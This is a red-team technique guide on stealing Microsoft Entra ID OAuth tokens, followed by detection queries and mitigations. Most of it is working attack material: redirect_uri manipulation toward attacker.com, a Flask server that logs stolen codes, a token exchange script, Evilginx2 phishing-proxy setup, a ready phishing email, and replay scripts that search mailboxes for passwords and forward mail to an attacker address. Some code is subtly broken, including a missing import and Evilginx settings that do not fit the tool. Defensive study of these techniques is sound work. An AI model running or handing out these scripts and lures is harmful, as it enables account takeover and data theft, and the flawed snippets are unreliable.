| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-005 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Tokens, T1557 - Adversary-in-the-Middle |
| Tactic | Credential Access |
| Platforms | Entra ID, M365, Cross-Cloud (AWS, GCP, Azure) |
| Severity | Critical |
| CVE | N/A (design inherent to OAuth 2.0) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | All OAuth 2.0 implementations, Entra ID (all versions), Office 365 (all versions) |
| Patched In | N/A (mitigated via device-bound tokens, Continuous Access Evaluation, and strict redirect_uri validation) |
| Author | SERVTEP – Artur Pchelnikau |
Note: All section numbers have been dynamically renumbered based on applicability for this technique.
Concept: OAuth access token interception is a credential access attack targeting the OAuth 2.0 authentication flow by stealing or hijacking tokens during transmission, at the authorization server, or during token exchange. Attackers employ three primary vectors: (1) exploiting open redirect vulnerabilities in the redirect_uri parameter to leak authorization codes or tokens directly, (2) positioning themselves as an Adversary-in-the-Middle (AiTM) using reverse proxy infrastructure (e.g., Evilginx2) to intercept both credentials and session tokens during the OAuth flow, and (3) replaying previously stolen refresh tokens to generate new access tokens indefinitely. Unlike simple credential theft, token interception bypasses MFA entirely (user already authenticated with the OAuth provider) and provides long-term persistence through refresh tokens.
Attack Surface: OAuth authorization endpoints (login.microsoftonline.com/authorize), token endpoints (login.microsoftonline.com/token), redirect URIs (both legitimate and compromised), browser authentication sessions, reverse proxy infrastructure, and MITM network positions.
Business Impact: Complete account takeover without user re-authentication. Attackers obtain valid OAuth tokens granting access to all resources consented by the user (email, calendar, Teams, SharePoint, OneDrive, etc.) with zero MFA friction. Unlike password compromise, token theft is invisible to the user—no forced password resets, no re-authentication prompts, no warnings. Tokens remain valid for hours (access tokens) to days/weeks (refresh tokens), enabling sustained data exfiltration, lateral movement to other cloud services, and post-compromise persistence through malicious OAuth app registration.
Technical Context: Token interception is stealthy because legitimate OAuth tokens used via API endpoints generate minimal audit trails compared to interactive logins. Detection is LOW unless specific monitoring for session reuse (same session ID from multiple IPs/geos) or unusual token usage patterns (bulk API calls, unusual scopes) is enabled. Reversibility is NONE—once tokens are stolen, they remain valid until manually revoked by the tenant.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.3.5 | Ensure MFA is enabled for all users (token theft bypasses MFA post-authentication) |
| CIS Benchmark | 5.1.1.1 | Ensure device compliance is required for OAuth clients (device-bound tokens prevent reuse) |
| DISA STIG | ID-000520 | API endpoint access controls and comprehensive audit logging |
| CISA SCuBA | Continuous Access Evaluation | Real-time token revocation when session conditions change |
| NIST 800-53 | AC-3 | Access Enforcement - Strict redirect_uri validation and scope limitation |
| NIST 800-53 | SC-7 | Boundary Protection - HTTPS enforcement, certificate pinning, TLS 1.2+ |
| NIST 800-228 | API Protection for Cloud-Native Systems - Token binding, rate limiting, API key rotation | |
| GDPR | Art. 32 | Security of Processing - Encryption of tokens in transit (TLS), device binding |
| DORA | Art. 9 | Protection and Prevention - Multi-factor authentication and token protection |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Token revocation procedures, session monitoring |
| ISO 27001 | A.9.2.5 | Access Control - OAuth token lifecycle management and revocation |
| ISO 27001 | A.10.1.1 | Cryptography - TLS 1.2+ for token transmission, token encryption |
| ISO 27005 | Risk Scenario | “Compromise of Authentication Credentials” and “Unauthorized Access to APIs” |
Supported Versions:
Tools:
Objective: Identify whether target OAuth applications validate redirect URIs and assess token protection status.
# Check Entra ID token protection policy status
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgPolicyConditionalAccessPolicy -Filter "displayName eq '*Token Protection*'" |
Select-Object DisplayName, State, CreatedDateTime
# Check for device-bound token enforcement
Get-MgPolicyConditionalAccessPolicy |
Where-Object { $_.GrantControls.BuiltInControls -contains "compliantDevice" } |
Select-Object DisplayName, State
# Verify if refresh token lifetime is restricted
Get-MgPolicyTokenLifetimePolicy |
Select-Object DisplayName, Definition
# Check for AiTM detection rules in Sentinel
az sentinel alert-rule list --resource-group SOC-RG --workspace-name Sentinel-Workspace `
--query "[?displayName contains 'AiTM' || displayName contains 'Session']"
What to Look For:
Version Note: Token Protection status (unbound vs. bound) is consistent across all Entra ID versions since 2023; older versions may not enforce device binding.
Supported Versions: All OAuth 2.0 implementations with flawed redirect_uri validation.
Objective: Discover OAuth applications with weak redirect_uri validation (accepting open redirects or pattern mismatches).
Command (Using Burp Suite):
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=12345678-1234-1234-1234-123456789012&
redirect_uri=https://myapp.company.com/oauth/callback&
scope=Mail.Read+Chat.ReadWrite&
response_type=code&
state=abc123
redirect_uri=https://myapp.company.com/oauth/callback/../../admin
redirect_uri=https://attacker.com/callback
redirect_uri=https://myapp.company.com.attacker.com/callback
Expected Output (Vulnerable):
HTTP 302 Found
Location: https://attacker.com/callback?code=M.R3_BAY...&state=abc123
Expected Output (Secure):
HTTP 400 Bad Request
{
"error": "invalid_request",
"error_description": "The redirect URI 'https://attacker.com/callback' does not match a registered redirect URI."
}
What This Means:
OpSec & Evasion:
Troubleshooting:
../), wildcards (*.company.com), or subdomain variation (sub.company.com).Objective: Create a phishing URL that tricks users into authorizing OAuth flow while sending authorization code to attacker’s domain.
Command:
# Construct malicious OAuth URL with open redirect via redirect_uri
$clientId = "12345678-1234-1234-1234-123456789012" # Legitimate app ID
$scope = "Mail.Read Chat.ReadWrite User.Read.All"
$maliciousRedirectUri = "https://legitimate-app.company.com/oauth/callback/../../external?url=https://attacker.com/steal"
$state = -join ((1..32) | ForEach-Object { [char][int](Get-Random -Minimum 48 -Maximum 122) })
$oauthUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
"client_id=$clientId&" +
"redirect_uri=$([System.Web.HttpUtility]::UrlEncode($maliciousRedirectUri))&" +
"scope=$([System.Web.HttpUtility]::UrlEncode($scope))&" +
"response_type=code&" +
"state=$state"
Write-Host "Malicious OAuth URL:"
Write-Host $oauthUrl
Expected Output:
Malicious OAuth URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=12345678-1234-1234-1234-123456789012&redirect_uri=https%3A%2F%2Flegitimate-app.company.com%2Foauth%2Fcallback%2F..%2F..%2Fexternal%3Furl%3Dhttps%3A%2F%2Fattacker.com%2Fsteal&scope=Mail.Read%20Chat.ReadWrite%20User.Read.All&response_type=code&state=abc123def456
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Receive and parse the authorization code from the malicious redirect.
Command (Python Flask server):
from flask import Flask, request
import json
app = Flask(__name__)
@app.route('/steal', methods=['GET'])
def steal_code():
auth_code = request.args.get('code')
state = request.args.get('state')
if auth_code:
# Log the code for later use
with open('/tmp/stolen_codes.txt', 'a') as f:
f.write(f"Code: {auth_code}\nState: {state}\n\n")
print(f"[+] Authorization code captured: {auth_code[:50]}...")
# Redirect to legitimate site to avoid suspicion
return redirect("https://legitimate-app.company.com/dashboard")
else:
return "No code received", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, ssl_context='adhoc')
Expected Output:
[+] Authorization code captured: M.R3_BAY.Cjnk5NvA7...
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Convert authorization code to access token by making server-to-server request to OAuth token endpoint.
Command (PowerShell):
# Exchange authorization code for access token
$authCode = "M.R3_BAY.Cjnk5NvA7..." # From previous step
$clientId = "12345678-1234-1234-1234-123456789012"
$clientSecret = "VerySecretClientSecret123" # If available (confidential client)
$tenantId = "common"
$tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token"
$tokenBody = @{
client_id = $clientId
client_secret = $clientSecret
code = $authCode
redirect_uri = "https://legitimate-app.company.com/oauth/callback" # Must match original registration
grant_type = "authorization_code"
scope = "https://graph.microsoft.com/.default"
}
$response = Invoke-WebRequest -Uri $tokenUrl -Method POST -Body $tokenBody -ContentType "application/x-www-form-urlencoded"
$tokens = $response.Content | ConvertFrom-Json
Write-Host "[+] Access Token: $($tokens.access_token.Substring(0, 50))..."
Write-Host "[+] Refresh Token: $($tokens.refresh_token.Substring(0, 50))..."
Write-Host "[+] Token Expires In: $($tokens.expires_in) seconds"
# Save tokens for later use
$tokens | ConvertTo-Json | Out-File -Path "C:\temp\stolen_tokens.json"
Expected Output:
[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1d...
[+] Refresh Token: 0.AVAAp4-4Zz4n7EuI_pRQ...
[+] Token Expires In: 3600 seconds
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All OAuth 2.0 providers (Microsoft Entra ID, Google, Okta, etc.).
Objective: Set up MITM reverse proxy to intercept OAuth credentials and session tokens.
Command (on attacker VPS):
# Download and compile Evilginx2
cd /opt
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
# Create phishing configuration for Microsoft OAuth
cat > config.yaml <<'EOF'
{
"siteName": "Microsoft",
"siteURL": "login.microsoftonline.com",
"siteDescription": "Entra ID OAuth",
"author": "Attacker",
"redirect": "https://portal.azure.com",
"phishlets": [
{
"name": "o365",
"subdomain": "login",
"cloneURI": "https://login.microsoftonline.com",
"forms": [
{
"path": "/SSODone",
"formname": "",
"action": "https://login.microsoftonline.com/common/oauth2/nativeclient",
"method": "POST",
"fields": [
{ "fieldname": "username", "displayname": "Email", "value": "", "regex": ".*" },
{ "fieldname": "password", "displayname": "Password", "value": "", "regex": ".*" }
]
}
]
}
]
}
EOF
# Generate TLS certificate (use Let's Encrypt for valid cert)
certbot certonly --standalone -d login-azure.attacker.com
# Start Evilginx2
./evilginx2 -l 0.0.0.0 -p 443 -c config.yaml \
-key /etc/letsencrypt/live/login-azure.attacker.com/privkey.pem \
-cert /etc/letsencrypt/live/login-azure.attacker.com/fullchain.pem
Expected Output:
[*] Evilginx2 v2.3.0 started on 0.0.0.0:443
[+] Config loaded: Microsoft OAuth
[+] Phishing page ready at: https://login-azure.attacker.com/
[+] Listening for HTTPS connections...
What This Means:
OpSec & Evasion:
Troubleshooting:
certbot certificates to list.Objective: Trick users into clicking phishing link and entering credentials on fake login page.
Command (Email phishing example):
Subject: ACTION REQUIRED: Verify Your Microsoft Account Security
<p>Dear User,</p>
<p>We detected unusual sign-in activity on your Microsoft account from an unrecognized device.
For security reasons, please verify your identity by clicking the link below:</p>
<a href="https://login-azure.attacker.com/?redirect=https://portal.azure.com">
Verify Account Now
</a>
<p>This verification is required to protect your account from unauthorized access.</p>
<p>Microsoft Security Team</p>
Alternative (QR Code Phishing):
# Generate QR code pointing to phishing URL
qrencode -o /tmp/phish.png "https://login-azure.attacker.com/"
# Attach QR code to email with text: "Scan with your phone to verify"
Expected Outcome:
User clicks link → redirected to login-azure.attacker.com →
User sees authentic-looking Microsoft login →
User enters credentials (username, password, MFA code) →
Evilginx captures everything
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Capture session cookies/tokens as user authenticates through Evilginx MITM proxy.
Command (Automatic via Evilginx):
# Evilginx2 automatically:
# 1. Receives credentials from user's browser
# 2. Relays credentials to real Microsoft OAuth server
# 3. Intercepts session cookies/OAuth tokens returned by Microsoft
# 4. Stores tokens in Evilginx database
# To view captured sessions:
./evilginx2 -admin # Opens admin console
> sessions # Lists all captured sessions
> show session <ID> # Display full session data including tokens
# Output example:
SessionID: 12345
Username: user@contoso.com
Password: [REDACTED]
SessionCookie: MSAuthToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1...
AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjFXV...
RefreshToken: 0.AVAAp4-4Zz4n7EuI_pRQ...
Token_Expires_In: 3600
Expected Output:
[+] Credentials captured for user@contoso.com
[+] MFA code verified by real Microsoft server
[+] Session cookies intercepted: MSAuthToken=eyJ0eX...
[+] Access token obtained: eyJ0eXAiOiJ...
[+] Refresh token obtained: 0.AVAAp4-4...
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use captured session cookies or access tokens to impersonate user without re-authentication.
Command (PowerShell using captured token):
# Import captured tokens from Evilginx
$stolenTokens = @{
AccessToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjFXV..."
RefreshToken = "0.AVAAp4-4Zz4n7EuI_pRQ..."
SessionId = "12345abcde"
}
# Create authorization header using stolen access token
$authHeader = @{
"Authorization" = "Bearer $($stolenTokens.AccessToken)"
"Content-Type" = "application/json"
}
# Example 1: Access user's mailbox
$mailboxUrl = "https://graph.microsoft.com/v1.0/me/messages?`$top=10&`$search=`"password`""
$mailboxResult = Invoke-WebRequest -Uri $mailboxUrl -Headers $authHeader -Method GET
$emails = $mailboxResult.Content | ConvertFrom-Json
Write-Host "[+] Found $($emails.value.Count) emails containing 'password'"
# Example 2: Download OneDrive files
$driveUrl = "https://graph.microsoft.com/v1.0/me/drive/root/children"
$driveFiles = Invoke-WebRequest -Uri $driveUrl -Headers $authHeader -Method GET
$files = $driveFiles.Content | ConvertFrom-Json
Write-Host "[+] OneDrive contains $($files.value.Count) files"
# Example 3: Access Teams messages
$teamsUrl = "https://graph.microsoft.com/v1.0/me/chats"
$teamsChats = Invoke-WebRequest -Uri $teamsUrl -Headers $authHeader -Method GET
$chats = $teamsChats.Content | ConvertFrom-Json
Write-Host "[+] User has $($chats.value.Count) Teams chats"
Expected Output:
[+] Found 12 emails containing 'password'
[+] OneDrive contains 234 files
[+] User has 45 Teams chats
[+] Accessed resources as user@contoso.com (no re-authentication required)
What This Means:
OpSec & Evasion:
Troubleshooting:
Invoke-MsGraphRefreshToken -RefreshToken $stolenTokens.RefreshTokenSupported Versions: All OAuth 2.0 implementations.
Objective: Acquire a valid, freshly-issued session token (from prior breach, malware, or Evilginx capture).
Assumptions:
Example Token (from Evilginx or browser developer tools):
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjFXVXlWMmZqeWJxNTZQdGstLXJxYUJVck5sTkEiLCJraWQiOiIxV1V5VjJmanlicTU2UHRrLS1ycWFCVXJObExOQSJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy5taWNyb3NvZnQuY29tLzMzMzQyODczLTkzOTEtNGIzZS1iODMzLTU1ZTRlZTBjNzZmYS8iLCJpYXQiOjE2NzMyODEwMDAsImV4cCI6MTY3MzI4NDYwMCwibmFtZSI6IkpvaG4gRG9lIiwib2lkIjoiOTlkZDQyYWEtMjQyNi00NjQyLWI4YzgtMzI0NDU3ODkyOWY1IiwiYXBwX2Rpc3BsYXluYW1lIjoiTWljcm9zb2Z0IFRlYW1zIiwic2NwIjoiQ2hhdC5SZWFkV3JpdGUgTWFpbC5SZWFkIFVzZXIuUmVhZC5BbGwifQ.signature...
What to Extract:
exp field)oid field)Command (Decode JWT to verify):
# Decode JWT token to verify contents
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjFXVXlWMmZqeWJxNTZQdGstLXJxYUJVck5sTkEiLCJraWQiOiIxV1V5VjJmanlicTU2UHRrLS1ycWFCVXJObExOQSJ9..."
$parts = $token.Split('.')
$payload = [Convert]::FromBase64String($parts[1] + "==")
$claims = [System.Text.Encoding]::UTF8.GetString($payload) | ConvertFrom-Json
Write-Host "[+] Token User: $($claims.name)"
Write-Host "[+] Token Expires: $(([datetime]'1970-01-01').AddSeconds($claims.exp))"
Write-Host "[+] Token Scopes: $($claims.scp)"
Expected Output:
[+] Token User: John Doe
[+] Token Expires: 01/08/2025 04:30:00
[+] Token Scopes: Chat.ReadWrite Mail.Read User.Read.All
What This Means:
Objective: Use stolen token from attacker’s machine to access resources without user’s knowledge.
Command (Attacker’s Python script):
import requests
import json
from datetime import datetime
# Stolen token from previous step
stolen_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjFXVXlWMmZqeWJxNTZQdGstLXJxYUJVck5sTkEiLCJraWQiOiIxV1V5VjJmanlicTU2UHRrLS1ycWFCVXJObExOQSJ9..."
# Set up headers with stolen token
headers = {
"Authorization": f"Bearer {stolen_token}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
# Example 1: List user's emails (search for passwords/credentials)
print("[*] Searching for emails with 'password'...")
search_query = {
"requests": [
{
"entityTypes": ["message"],
"query": "body:password OR subject:password OR body:admin OR subject:admin"
}
]
}
response = requests.post(
"https://graph.microsoft.com/v1.0/search/query",
headers=headers,
json=search_query
)
if response.status_code == 200:
results = response.json()
for item in results.get('value', []):
print(f"[+] Found: {item['subject']} from {item['from']}")
else:
print(f"[-] Error: {response.status_code} - {response.text}")
# Example 2: Download all OneDrive files
print("\n[*] Enumerating OneDrive files...")
drive_response = requests.get(
"https://graph.microsoft.com/v1.0/me/drive/root/children?$select=id,name,webUrl",
headers=headers
)
if drive_response.status_code == 200:
files = drive_response.json()['value']
for file in files:
print(f"[+] File: {file['name']} - {file['webUrl']}")
else:
print(f"[-] Error: {drive_response.status_code}")
# Example 3: Create malicious inbox rule (persistence)
print("\n[*] Setting up persistence via inbox rule...")
rule_payload = {
"displayName": "Auto-Forward",
"sequence": 1,
"enabled": True,
"conditions": {
"bodyContains": ["invoice", "payment", "wire"]
},
"actions": {
"forwardTo": [
{
"emailAddress": {
"name": "Security Team",
"address": "attacker@external.com"
}
}
]
}
}
rule_response = requests.post(
"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules",
headers=headers,
json=rule_payload
)
if rule_response.status_code == 201:
print("[+] Inbox rule created - emails forwarded to attacker")
else:
print(f"[-] Error creating rule: {rule_response.status_code}")
Expected Output:
[*] Searching for emails with 'password'...
[+] Found: Database credentials - Admin password from admin@company.com
[+] Found: Salesforce password reset - user@company.com
[+] Found: VPN credentials - IT Support from it@company.com
[*] Enumerating OneDrive files...
[+] File: Q4_Financial_Report.xlsx - https://...
[+] File: Customer_Database.csv - https://...
[+] File: Admin_Credentials.txt - https://...
[*] Setting up persistence via inbox rule...
[+] Inbox rule created - emails forwarded to attacker
What This Means:
OpSec & Evasion:
Troubleshooting:
PoC Verification Command:
# Test 1: Verify OAuth application allows open redirects
$appUrl = "https://myapp.company.com/oauth/authorize?redirect_uri=https://attacker.com/callback"
$response = Invoke-WebRequest -Uri $appUrl -ErrorAction Continue
if ($response.StatusCode -eq 302) {
Write-Host "[+] Open redirect vulnerability detected"
} else {
Write-Host "[-] Open redirect blocked"
}
# Test 2: Verify token interception possible via MITM
# (Requires Evilginx2 deployed and configured)
# If phishing link clicked and user authenticates, Evilginx logs should show:
# [+] Credentials captured
# [+] Session tokens intercepted
# Test 3: Verify stolen token can be replayed
$authHeader = @{ "Authorization" = "Bearer <stolen_token>" }
$testUrl = "https://graph.microsoft.com/v1.0/me"
$me = Invoke-WebRequest -Uri $testUrl -Headers $authHeader
if ($me.StatusCode -eq 200) {
Write-Host "[+] Token replay successful - access granted"
} else {
Write-Host "[-] Token replay failed - access denied"
}
Rule Configuration:
SPL Query:
index=azure_signinlogs
| stats values(IPAddress), values(location.countryOrRegion), values(userAgent), count by sessionId, userId, userPrincipalName
| where mvcount(IPAddress) > 1
| eval ip_count=mvcount(IPAddress), country_count=mvcount(location.countryOrRegion)
| where ip_count > 1
| search country_count > 1 OR ip_count > 2
| rename userPrincipalName as user, IPAddress as source_ips, sessionId as session_id
| table _time, user, source_ips, country_count, ip_count
What This Detects:
Manual Configuration Steps:
search | stats count | where count > 0False Positive Analysis:
| search NOT (IPAddress IN (10.0.0.0/8, ...))Rule Configuration:
SPL Query:
index=azure_activity source=AuditLogs OperationName="Add OAuth client" OR OperationName="Update OAuth client"
OR OperationName="Authorize OAuth client"
| stats values(IPAddress) as new_ips by InitiatedBy.User.Id, InitiatedBy.User.UserPrincipalName
| join InitiatedBy.User.Id [search index=azure_activity source=AuditLogs earliest=-30d
OperationName="Add OAuth client" OR OperationName="Update OAuth client"
| stats values(IPAddress) as historical_ips by InitiatedBy.User.Id]
| eval is_new_ip=if(match(new_ips, historical_ips), "no", "yes")
| search is_new_ip=yes
What This Detects:
Rule Configuration:
KQL Query:
SigninLogs
| where ResultType == 0 // Successful logins only
| summarize
IPAddresses=make_set(IPAddress),
Countries=make_set(Location.CountryOrRegion),
UserAgents=make_set(UserAgent),
FirstTime=min(TimeGenerated),
LastTime=max(TimeGenerated),
LoginCount=count()
by sessionId, UserPrincipalName, UserId
| where array_length(IPAddresses) >= 2 // Same session from multiple IPs
| where array_length(Countries) >= 2 // Multiple countries
| extend
TimeDiff_Minutes=datetime_diff('minute', LastTime, FirstTime),
SourceIPs=IPAddresses
| where TimeDiff_Minutes <= 30 // Within 30 minutes = impossible travel
| project
TimeGenerated=FirstTime,
UserPrincipalName,
SessionId=sessionId,
SourceIPs,
Countries,
ImpossibleTravelMinutes=TimeDiff_Minutes,
RiskLevel="HIGH"
What This Detects:
Manual Configuration Steps:
OAuth Session Token Hijacking DetectionHigh5 minutes30 minutesRule Configuration:
KQL Query:
AADGraphActivityLogs
| where OperationName startswith "Authorize" or OperationName startswith "GetAuthorizationCode"
| extend
RedirectUri=extract(@'redirect_uri[=:]([^&\s"]+)', 1, RequestUri),
ClientId=extract(@'client_id[=:]([^&\s"]+)', 1, RequestUri)
| where RedirectUri !startswith "https://" or
RedirectUri contains ".." or // Directory traversal
RedirectUri contains "%2e%2e" or
RedirectUri !contains OperationName // Redirect doesn't match registered app
| project
TimeGenerated,
UserPrincipalName=InitiatedBy.User.UserPrincipalName,
ClientId,
RedirectUri,
SuspiciousReason="Potential open redirect or URI manipulation",
RequestUri,
ResourceId
What This Detects:
..) or points to external domain.Event ID: 4624 (Account Logon Success)
Manual Configuration Steps (Group Policy):
gpupdate /forceMinimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2019-2025.
<Sysmon schemaversion="4.1">
<EventFiltering>
<!-- Detect HTTPS traffic to OAuth endpoints from suspicious tools -->
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">
login.microsoftonline.com
oauth.microsoftonline.com
</DestinationHostname>
<InitiatingProcessName condition="contains any">
python.exe
curl.exe
powershell.exe
</InitiatingProcessName>
</NetworkConnect>
<!-- Detect credential extraction tools used for token theft -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">
evilginx
mimikatz
token
cookie
session
</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Alert Name: “Suspicious OAuth application consent”
Alert Name: “Impossible travel - OAuth token usage”
Search-UnifiedAuditLog -Operations "Authorize","GrantAccess","OAuthAppConsentGrant" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) |
Select-Object UserIds, Operations, CreationDate, ResultIndex, @{
N="GrantedScopes"
E={($_.AuditData | ConvertFrom-Json).ModifiedProperties[0].NewValue}
} |
Export-Csv -Path "C:\OAuth_Audit.csv"
1. Enable Device-Bound Token Protection (PRT with Device Registration)
Ensures stolen tokens are bound to attacker’s device, preventing replay on different systems.
Manual Steps (Azure Portal):
Enforce Token Protection - Device BindingManual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
$policy = @{
displayName = "Device-Bound Token Protection"
state = "enabled"
conditions = @{
applications = @{ includeApplications = @("00000003-0000-0ff1-ce00-000000000000") } # Office 365
users = @{ includeUsers = @("All") }
}
grantControls = @{
operator = "AND"
builtInControls = @("compliantDevice", "approvedClientApp")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
Validation Command:
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Device-Bound Token Protection'" |
Select-Object DisplayName, State
2. Implement Continuous Access Evaluation (CAE) - Real-Time Token Revocation
CAE revokes tokens immediately when session conditions change (IP mismatch, device non-compliant, etc.).
Manual Steps:
PowerShell:
# Enable CAE for all tenants
Update-MgPolicyAuthenticationFlowsPolicy -EnableCAE $true
3. Enforce Strict redirect_uri Validation & Block Open Redirects
OAuth providers must validate redirect_uri against registered list (exact match required).
Manual Steps (App Owner):
PowerShell (Validate all apps):
Connect-MgGraph -Scopes "Application.Read.All"
Get-MgApplication | ForEach-Object {
$app = $_
$redirectUris = $app.Web.RedirectUris
foreach ($uri in $redirectUris) {
if ($uri -contains "*" -or $uri -contains "..") {
Write-Host "[WARNING] Insecure redirect_uri in app '$($app.DisplayName)': $uri"
}
}
}
4. Revoke and Rotate Refresh Tokens on Suspected Compromise
Immediately invalidate all existing tokens for compromised user.
Manual Steps:
PowerShell:
Connect-MgGraph -Scopes "User.ReadWrite.All"
$user = Get-MgUser -Filter "userPrincipalName eq 'compromised@contoso.com'"
Revoke-MgUserSignInSession -UserId $user.Id
Write-Host "[+] All refresh tokens revoked for $($user.UserPrincipalName)"
Write-Host "[+] User must re-authenticate on next access"
5. Implement FIDO2 Security Keys (Phishing-Resistant MFA)
FIDO2 keys cannot be phished; Evilginx/AiTM attacks fail even if credentials are captured.
Manual Steps:
6. Enable Sign-In Anomaly Detection with Risk-Based Conditional Access
Automatically block or require reauthentication for suspicious logins.
Manual Steps:
7. Monitor & Alert on Unusual OAuth Consent Grants
Flag when users grant permissions to suspicious OAuth apps.
Manual Steps:
AzureADGraphActivityLogs for OAuthAppConsentGrant operationsNetwork:
Cloud Logs:
SigninLogs: Same sessionId from multiple IPs/countries within 30 minutesSigninLogs: Successful MFA but from unusual IP (AiTM indicator)AADGraphActivityLogs: Unusual OAuth scopes granted (User.Read.All, Mail.ReadWrite)MicrosoftGraphActivityLogs: Bulk mailbox searches, mass file downloadsSign-In Logs:
OAuth & Audit Logs:
Revoke-MgUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'").Id
# Export sign-in logs for forensics
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'user@contoso.com' and createdDateTime gt 2025-01-08T00:00:00Z" |
Export-Csv -Path "C:\Forensics\SignInLog.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker tricks user into granting OAuth permissions |
| 2 | Credential Access | [CA-PHISH-001] Device Code Phishing | Attacker uses device code flow to obtain tokens |
| 3 | Current Step | [CA-TOKEN-005] | OAuth Access Token Interception (this technique) |
| 4 | Impact | [CA-UNSC-003] SYSVOL GPP Credential Extraction | Attacker searches mailbox for other credentials |
| 5 | Persistence | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker registers persistent OAuth app |
| 6 | Exfiltration | [CA-TOKEN-004] Graph API Token Theft | Attacker extracts sensitive data via stolen token |